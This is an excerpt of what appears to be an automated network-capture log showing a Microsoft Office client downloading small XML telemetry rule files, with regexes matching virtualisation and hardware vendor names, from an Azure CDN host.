2024-10-30 01:28:08 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:08 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:08 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4814b401-401e-005b-1e73-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012808Z-17c5cb586f6r59nt869u8w8xt8000000068000000000e7as x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:08 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:08 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:08 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 57ce5cde-c01e-000b-111a-28e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012808Z-15b8d89586fvpb59307bn2rcac00000002e0000000009r67 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:08 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:08 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:08 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 1d33856d-201e-000c-0612-2979c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012808Z-r197bdfb6b4qbfppwgs4nqza80000000062000000000179a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:08 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:08 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:08 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: ff288f8c-c01e-007a-5a0e-26b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012808Z-17c5cb586f6fqqst87nqkbsx1c00000005s0000000009v72 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:08 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:08 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 6741ff86-f01e-00aa-74b9-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012808Z-16849878b78p49s6zkwt11bbkn000000070g00000000b80z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:08 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:08 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:09 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:08 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012808Z-16849878b7867ttgfbpnfxt44s00000007a0000000000f7e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:09 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:09 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:09 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:09 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 48ec36c7-d01e-00a1-338d-2735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012809Z-16849878b787wpl5wqkt5731b4000000080000000000qfz4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 01:28:09 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:09 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:09 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 6c7ab4fb-501e-0078-78bf-2706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012809Z-17c5cb586f626sn8grcgm1gf8000000005qg00000000htf0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:09 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:09 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 22a2f8fa-b01e-001e-31af-270214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012809Z-17c5cb586f6w4mfs5xcmnrny6n000000091g00000000hg00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:09 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:09 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:09 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: dc27e692-e01e-001f-1e67-281633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012809Z-15b8d89586fnsf5zkvx8tfb0zc00000002fg000000008d5d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:09 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:09 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:09 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:09 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012809Z-16849878b78smng4k6nq15r6s400000008x0000000006df6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:09 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:09 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
